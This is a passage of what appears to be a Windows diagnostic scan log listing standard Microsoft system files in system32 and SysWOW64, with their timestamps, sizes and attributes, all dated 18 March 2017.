2017-03-18 22:58 - 2017-03-18 22:58 - 00001688 _____ C:\windows\system32\TransformPPSToWlanCredentials.xslt
2017-03-18 22:58 - 2017-03-18 22:58 - 00001673 _____ C:\windows\SysWOW64\tcpbidi.xml
2017-03-18 22:58 - 2017-03-18 22:58 - 00001673 _____ C:\windows\system32\tcpbidi.xml
2017-03-18 22:58 - 2017-03-18 22:58 - 00001559 _____ C:\windows\SysWOW64\WsmPty.xsl
2017-03-18 22:58 - 2017-03-18 22:58 - 00001559 _____ C:\windows\system32\WsmPty.xsl
2017-03-18 22:58 - 2017-03-18 22:58 - 00000726 _____ C:\windows\system32\wpr.config.xml
2017-03-18 22:58 - 2017-03-18 22:58 - 00000714 _____ C:\windows\SysWOW64\RestartManager.mof
2017-03-18 22:58 - 2017-03-18 22:58 - 00000670 ___RH C:\windows\WindowsShell.Manifest
2017-03-18 22:58 - 2017-03-18 22:58 - 00000646 _____ C:\windows\SysWOW64\Drivers\gmreadme.txt
2017-03-18 22:58 - 2017-03-18 22:58 - 00000565 _____ C:\windows\SysWOW64\NdfEventView.xml
2017-03-18 22:58 - 2017-03-18 22:58 - 00000176 _____ C:\windows\SysWOW64\RestartManagerUninstall.mof
2017-03-18 22:58 - 2017-03-18 22:58 - 00000167 _____ C:\windows\system32\removehypervisor.mof
2017-03-18 22:58 - 2017-03-18 22:58 - 00000150 _____ C:\windows\SysWOW64\pcl.sep
2017-03-18 22:58 - 2017-03-18 22:58 - 00000150 _____ C:\windows\system32\pcl.sep
2017-03-18 22:58 - 2017-03-18 22:58 - 00000051 _____ C:\windows\SysWOW64\pscript.sep
2017-03-18 22:58 - 2017-03-18 22:58 - 00000051 _____ C:\windows\system32\pscript.sep
2017-03-18 22:58 - 2017-03-18 22:58 - 00000033 _____ C:\windows\SysWOW64\winrm.cmd
2017-03-18 22:58 - 2017-03-18 22:58 - 00000033 _____ C:\windows\system32\winrm.cmd
2017-03-18 22:57 - 2017-03-18 22:57 - 20488312 _____ (Microsoft Corporation) C:\windows\SysWOW64\OneDriveSetup.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 15601496 _____ (Microsoft Corporation) C:\windows\system32\DDORes.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 09569280 _____ (Microsoft Corporation) C:\windows\system32\mmres.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 06569984 _____ (Microsoft Corporation) C:\windows\system32\wwanmm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 05892608 _____ (Microsoft Corporation) C:\windows\system32\d2d1.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 05865376 _____ (Microsoft Corporation) C:\windows\system32\spwizimg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 05302456 _____ (Microsoft Corporation) C:\windows\system32\Windows.StateRepository.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 05100544 _____ (Microsoft Corporation) C:\windows\system32\AuthFWSnapin.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 04574192 _____ (Microsoft Corporation) C:\windows\system32\sppsvc.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 04462120 _____ (Microsoft Corporation) C:\windows\system32\setupapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 04269056 _____ (Microsoft Corporation) C:\windows\system32\WlanMM.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 04227116 _____ C:\windows\system32\DefaultHrtfs.bin
2017-03-18 22:57 - 2017-03-18 22:57 - 04047872 _____ (Microsoft Corporation) C:\windows\system32\msi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 03825664 _____ (Microsoft Corporation) C:\windows\system32\accessibilitycpl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 03458560 _____ (Microsoft Corporation) C:\windows\system32\MSVidCtl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 03440660 _____ C:\windows\system32\Drivers\gm.dls
2017-03-18 22:57 - 2017-03-18 22:57 - 03365888 _____ (Microsoft Corporation) C:\windows\system32\WinSAT.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 03170304 _____ C:\windows\system32\boot.sdi
2017-03-18 22:57 - 2017-03-18 22:57 - 03135488 _____ (Microsoft Corporation) C:\windows\system32\esent.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 02993760 _____ (Microsoft Corporation) C:\windows\system32\d3d11.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 02969992 _____ (Microsoft Corporation) C:\windows\system32\d3d10warp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 02899456 _____ (Microsoft Corporation) C:\windows\system32\mmcndmgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 02855936 _____ (Microsoft Corporation) C:\windows\system32\storagewmi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 02834432 _____ (Microsoft Corporation) C:\windows\system32\DWrite.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 02804736 _____ (Microsoft Corporation) C:\windows\system32\netshell.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 02682776 _____ (Microsoft Corporation) C:\windows\system32\Drivers\tcpip.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 02447360 _____ C:\windows\system32\Windows.Mirage.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 02370848 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMVDECOD.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 02328480 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ntfs.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 02207744 _____ (Microsoft Corporation) C:\windows\system32\certmgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 02088448 _____ (Microsoft Corporation) C:\windows\system32\wsp_fs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 02038784 _____ (Microsoft Corporation) C:\windows\system32\mmgaclient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01952936 _____ (Microsoft Corporation) C:\windows\SysWOW64\hevcdecoder.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01930320 _____ (Microsoft Corporation) C:\windows\system32\ntdll.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01912320 _____ (Microsoft Corporation) C:\windows\system32\mmc.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 01886720 _____ (Microsoft Corporation) C:\windows\system32\FntCache.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01876992 _____ (Microsoft Corporation) C:\windows\system32\pnidui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01812480 _____ (Microsoft Corporation) C:\windows\system32\msxml3.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01811456 _____ (Microsoft Corporation) C:\windows\system32\wsp_health.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01737216 _____ (Microsoft Corporation) C:\windows\system32\wevtsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01735584 _____ (Microsoft Corporation) C:\windows\system32\Drivers\refs.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 01702912 _____ (Microsoft Corporation) C:\windows\system32\aitstatic.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 01661952 _____ (Microsoft Corporation) C:\windows\system32\RASMM.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01627648 _____ (Microsoft Corporation) C:\windows\system32\rdpserverbase.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01619816 _____ (Microsoft Corporation) C:\windows\system32\sppobjs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01575144 _____ (Microsoft Corporation) C:\windows\system32\appraiser.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01573376 _____ (Microsoft Corporation) C:\windows\system32\NlsData0000.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01558016 _____ (Microsoft Corporation) C:\windows\system32\msdt.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 01550848 _____ (Microsoft Corporation) C:\windows\system32\VSSVC.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 01545728 _____ (Microsoft Corporation) C:\windows\system32\msdtctm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01525760 _____ (Microsoft Corporation) C:\windows\system32\RecoveryDrive.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 01470464 _____ (Microsoft Corporation) C:\windows\system32\wsecedit.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01462272 _____ (Microsoft Corporation) C:\windows\system32\pla.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01445376 _____ (Microsoft Corporation) C:\windows\system32\mfc42u.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01430016 _____ (Microsoft Corporation) C:\windows\system32\DxpTaskSync.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01425920 _____ (Microsoft Corporation) C:\windows\system32\certutil.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 01420288 _____ (Microsoft Corporation) C:\windows\system32\mfc42.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01402368 _____ (Microsoft Corporation) C:\windows\system32\wdc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01395152 _____ (Microsoft Corporation) C:\windows\system32\winload.efi
2017-03-18 22:57 - 2017-03-18 22:57 - 01354752 _____ (Microsoft Corporation) C:\windows\system32\connect.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01347640 _____ (Microsoft Corporation) C:\windows\system32\ClipUp.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 01345088 _____ (Microsoft Corporation) C:\windows\system32\user32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01337848 _____ (Microsoft Corporation) C:\windows\system32\webservices.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01337336 _____ (Microsoft Corporation) C:\windows\system32\AudioEng.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01313280 _____ (Microsoft Corporation) C:\windows\system32\diagperf.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01295360 _____ (Microsoft Corporation) C:\windows\system32\comres.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01279904 _____ (Microsoft Corporation) C:\windows\system32\AppxPackaging.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01269248 _____ (Microsoft Corporation) C:\windows\system32\gpsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01243040 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ndis.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 01219080 _____ (Microsoft Corporation) C:\windows\system32\D3D12.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01216000 _____ (Microsoft Corporation) C:\windows\system32\wscui.cpl
2017-03-18 22:57 - 2017-03-18 22:57 - 01214368 _____ (Microsoft Corporation) C:\windows\system32\aeinv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01210368 _____ (Microsoft Corporation) C:\windows\system32\netcenter.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01200912 _____ (Microsoft Corporation) C:\windows\system32\Taskmgr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 01196032 _____ (Microsoft Corporation) C:\windows\system32\networkexplorer.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01194280 _____ (Microsoft Corporation) C:\windows\system32\rpcrt4.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01186464 _____ (Microsoft Corporation) C:\windows\system32\winload.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 01157632 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSVP9DEC.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01129984 _____ (Microsoft Corporation) C:\windows\system32\MiracastReceiver.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01114528 _____ (Microsoft Corporation) C:\windows\system32\ReAgent.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01112576 _____ (Microsoft Corporation) C:\windows\system32\dxilconv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01106848 _____ (Microsoft Corporation) C:\windows\system32\Drivers\http.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 01100288 _____ (Microsoft Corporation) C:\windows\system32\gpedit.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01081856 _____ (Microsoft Corporation) C:\windows\system32\onexui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01065104 _____ (Microsoft Corporation) C:\windows\system32\winresume.efi
2017-03-18 22:57 - 2017-03-18 22:57 - 01064960 _____ (Microsoft Corporation) C:\windows\system32\dmdskres.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01055232 _____ (Microsoft Corporation) C:\windows\system32\cdosys.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01054280 _____ (Microsoft Corporation) C:\windows\system32\AudioSes.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01051136 _____ (Microsoft Corporation) C:\windows\system32\nettrace.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01050112 _____ (Microsoft Corporation) C:\windows\system32\DiagCpl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01043968 _____ (Microsoft Corporation) C:\windows\system32\imapi2fs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01040384 _____ (Microsoft Corporation) C:\windows\system32\NaturalLanguage6.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01037216 _____ (Microsoft Corporation) C:\windows\system32\pidgenx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01035264 _____ (Microsoft Corporation) C:\windows\system32\ngcsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 01017248 _____ (Microsoft Corporation) C:\windows\system32\SecConfig.efi
2017-03-18 22:57 - 2017-03-18 22:57 - 01003624 _____ (Microsoft Corporation) C:\windows\system32\ucrtbase.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00983552 _____ (Microsoft Corporation) C:\windows\system32\WMSPDMOD.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00975360 _____ (Microsoft Corporation) C:\windows\HelpPane.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00972288 _____ (Microsoft Corporation) C:\windows\system32\MPSSVC.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00970752 _____ (Microsoft Corporation) C:\windows\system32\inetcomm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00965024 _____ (Microsoft Corporation) C:\windows\system32\hvloader.efi
2017-03-18 22:57 - 2017-03-18 22:57 - 00964000 _____ (Microsoft Corporation) C:\windows\system32\drvstore.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00952832 _____ (Microsoft Corporation) C:\windows\system32\autoconv.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00946688 _____ (Microsoft Corporation) C:\windows\system32\rasgcw.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00943008 _____ (Microsoft Corporation) C:\windows\system32\DismApi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00942080 _____ (Microsoft Corporation) C:\windows\system32\wsp_sr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00936864 _____ (Microsoft Corporation) C:\windows\system32\Drivers\refsv1.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00936448 _____ (Microsoft Corporation) C:\windows\system32\MCRecvSrc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00935424 _____ (Microsoft Corporation) C:\windows\system32\FirewallControlPanel.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00934912 _____ (Microsoft Corporation) C:\windows\system32\IKEEXT.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00931328 _____ (Microsoft Corporation) C:\windows\system32\sbe.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00924672 _____ (Microsoft Corporation) C:\windows\system32\autofmt.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00922112 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.SmartCards.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00921088 _____ (Microsoft Corporation) C:\windows\system32\rasdlg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00916992 _____ (Microsoft Corporation) C:\windows\system32\bcastdvr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00915360 _____ (Microsoft Corporation) C:\windows\SysWOW64\pidgenx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00907264 _____ (Microsoft Corporation) C:\windows\system32\sqlceqp40.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00902376 _____ (Microsoft Corporation) C:\windows\system32\Drivers\Wdf01000.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00901120 _____ (Microsoft Corporation) C:\windows\system32\fhuxpresentation.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00899824 _____ (Microsoft Corporation) C:\windows\system32\winresume.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00899072 _____ (Microsoft Corporation) C:\windows\system32\SmartcardCredentialProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00891904 _____ (Microsoft Corporation) C:\windows\system32\Spectrum.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00888320 _____ (Microsoft Corporation) C:\windows\system32\azroles.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00881152 _____ (Microsoft Corporation) C:\windows\system32\configurationclient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00877568 _____ (Microsoft Corporation) C:\windows\system32\usermgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00876544 _____ (Microsoft Corporation) C:\windows\system32\Magnify.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00871936 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfh265enc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00867312 _____ (Microsoft Corporation) C:\windows\SysWOW64\DolbyDecMFT.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00866816 _____ (Microsoft Corporation) C:\windows\system32\CPFilters.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00862720 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Streaming.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00862632 _____ (Microsoft Corporation) C:\windows\SysWOW64\msmpeg2adec.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00860160 _____ (Microsoft Corporation) C:\windows\system32\mprddm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00845824 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.BackgroundMediaPlayback.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00843264 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Playback.BackgroundMediaPlayer.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00834560 _____ (Microsoft Corporation) C:\windows\system32\ipsecsnp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00832648 _____ (Microsoft Corporation) C:\windows\system32\EditionUpgradeManagerObj.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00827392 _____ (Microsoft Corporation) C:\windows\system32\adtschema.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00824832 _____ (Microsoft Corporation) C:\windows\system32\msdtcprx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00821664 _____ (Microsoft Corporation) C:\windows\system32\hvloader.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00820736 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Playback.MediaPlayer.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00815616 _____ (Microsoft Corporation) C:\windows\system32\comuid.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00815616 _____ (Microsoft Corporation) C:\windows\system32\BFE.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00804864 _____ (Microsoft Corporation) C:\windows\system32\devmgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00802712 _____ (Microsoft Corporation) C:\windows\system32\LicensingWinRT.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00791040 _____ (Microsoft Corporation) C:\windows\system32\certca.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00777728 _____ (Microsoft Corporation) C:\windows\system32\DolbyHrtfEnc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00771584 _____ (Microsoft Corporation) C:\windows\system32\wlanpref.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00769536 _____ (Microsoft Corporation) C:\windows\system32\TabletPC.cpl
2017-03-18 22:57 - 2017-03-18 22:57 - 00744448 _____ (Microsoft Corporation) C:\windows\system32\Vault.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00742912 _____ (Microsoft Corporation) C:\windows\system32\sqlsrv32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00733696 _____ (Microsoft Corporation) C:\windows\system32\qedwipes.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00727040 _____ (Microsoft Corporation) C:\windows\system32\SmartCardSimulator.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00721632 _____ (Microsoft Corporation) C:\windows\system32\wer.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00715776 _____ (Microsoft Corporation) C:\windows\system32\wlidcli.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00709632 _____ (Microsoft Corporation) C:\windows\system32\odbc32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00702976 _____ (Microsoft Corporation) C:\windows\system32\elslad.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00699904 _____ (Microsoft Corporation) C:\windows\system32\FlightSettings.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00696320 _____ (Microsoft Corporation) C:\windows\system32\mmsys.cpl
2017-03-18 22:57 - 2017-03-18 22:57 - 00691616 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMADMOE.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00690080 _____ (Microsoft Corporation) C:\windows\system32\wimgapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00688544 _____ (Microsoft Corporation) C:\windows\system32\IasMigPlugin.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00684408 _____ (Microsoft Corporation) C:\windows\system32\sppwinob.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00677752 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMADMOD.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00673088 _____ C:\windows\SysWOW64\mlang.dat
2017-03-18 22:57 - 2017-03-18 22:57 - 00673088 _____ C:\windows\system32\mlang.dat
2017-03-18 22:57 - 2017-03-18 22:57 - 00671744 _____ (Microsoft Corporation) C:\windows\system32\objsel.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00665320 _____ (Microsoft Corporation) C:\windows\system32\StateRepository.Core.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00661224 _____ (Microsoft Corporation) C:\windows\system32\dnsapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00660680 _____ (Microsoft Corporation) C:\windows\system32\dxgi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00659968 _____ (Microsoft Corporation) C:\windows\system32\dsregcmd.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00659104 _____ (Microsoft Corporation) C:\windows\system32\GenValObj.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00649216 _____ (Microsoft Corporation) C:\windows\system32\hhctrl.ocx
2017-03-18 22:57 - 2017-03-18 22:57 - 00644696 _____ (Microsoft Corporation) C:\windows\system32\advapi32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00644096 _____ (Microsoft Corporation) C:\windows\system32\Windows.Mirage.Internal.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00643072 _____ (Microsoft Corporation) C:\windows\system32\vds.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00642560 _____ (Microsoft Corporation) C:\windows\system32\scapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00638976 _____ (Microsoft Corporation) C:\windows\system32\DbgModel.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00638464 _____ (Microsoft Corporation) C:\windows\system32\energy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00636136 _____ (Microsoft Corporation) C:\windows\system32\generaltel.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00634880 _____ (Microsoft Corporation) C:\windows\system32\uReFS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00632800 _____ (Microsoft Corporation) C:\windows\system32\msvcrt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00629760 _____ (Microsoft Corporation) C:\windows\system32\qedit.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00627624 _____ (Microsoft Corporation) C:\windows\system32\clbcatq.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00624040 _____ (Microsoft Corporation) C:\windows\system32\sxs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00623480 _____ (Microsoft Corporation) C:\windows\system32\msvcp_win.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00621056 _____ (Microsoft Corporation) C:\windows\system32\SndVolSSO.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00619008 _____ (Microsoft Corporation) C:\windows\system32\SpaceControl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00612864 _____ (Microsoft Corporation) C:\windows\system32\osk.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00610712 _____ (Microsoft Corporation) C:\windows\system32\Drivers\afd.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00603648 _____ (Microsoft Corporation) C:\windows\system32\RMActivate_isv.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00600576 _____ (Microsoft Corporation) C:\windows\system32\msvcp60.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00599552 _____ (Microsoft Corporation) C:\windows\system32\FrameServer.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00593920 _____ (Microsoft Corporation) C:\windows\system32\psr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00593408 _____ (Microsoft Corporation) C:\windows\system32\BootMenuUX.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00592384 _____ (Microsoft Corporation) C:\windows\system32\cryptui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00588288 _____ (Microsoft Corporation) C:\windows\system32\WUDFx02000.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00588288 _____ (Microsoft Corporation) C:\windows\system32\vdsdyn.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00583696 _____ (Microsoft Corporation) C:\windows\system32\msvcp110_win.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00583304 _____ (Microsoft Corporation) C:\windows\system32\audiodg.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00583168 _____ (Microsoft Corporation) C:\windows\system32\actxprxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00582144 _____ (Microsoft Corporation) C:\windows\system32\mscms.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00581120 _____ (Microsoft Corporation) C:\windows\system32\SppExtComObj.Exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00577536 _____ (Microsoft Corporation) C:\windows\system32\WLanConn.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00577536 _____ (Microsoft Corporation) C:\windows\system32\untfs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00577536 _____ (Microsoft Corporation) C:\windows\system32\psisdecd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00575488 _____ (Microsoft Corporation) C:\windows\system32\dfrgui.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00574464 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_9.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00574464 _____ (Microsoft Corporation) C:\windows\system32\RMActivate.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00573952 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfh264enc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00573440 _____ (Microsoft Corporation) C:\windows\system32\WUDFx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00565760 _____ (Microsoft® Windows® Operating System) C:\windows\system32\wvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00560640 _____ (Microsoft Corporation) C:\windows\system32\iprtrmgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00559616 _____ (Microsoft Corporation) C:\windows\system32\filemgmt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00557984 _____ (Microsoft Corporation) C:\windows\SysWOW64\NetSetupEngine.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00557568 _____ (Microsoft Corporation) C:\windows\system32\msdrm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00551936 _____ (Microsoft Corporation) C:\windows\system32\TpmCoreProvisioning.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00550912 _____ (Microsoft Corporation) C:\windows\system32\dsound.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00542624 _____ (Microsoft Corporation) C:\windows\system32\devinv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00541912 _____ (Microsoft Corporation) C:\windows\system32\directmanipulation.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00540672 _____ (Microsoft Corporation) C:\windows\system32\VAN.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00538624 _____ (Microsoft Corporation) C:\windows\system32\FirewallAPI.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00530432 _____ (Microsoft Corporation) C:\windows\system32\sdohlp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00527976 _____ (Microsoft Corporation) C:\windows\system32\services.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00525824 _____ (Microsoft Corporation) C:\windows\system32\ipsmsnap.dll
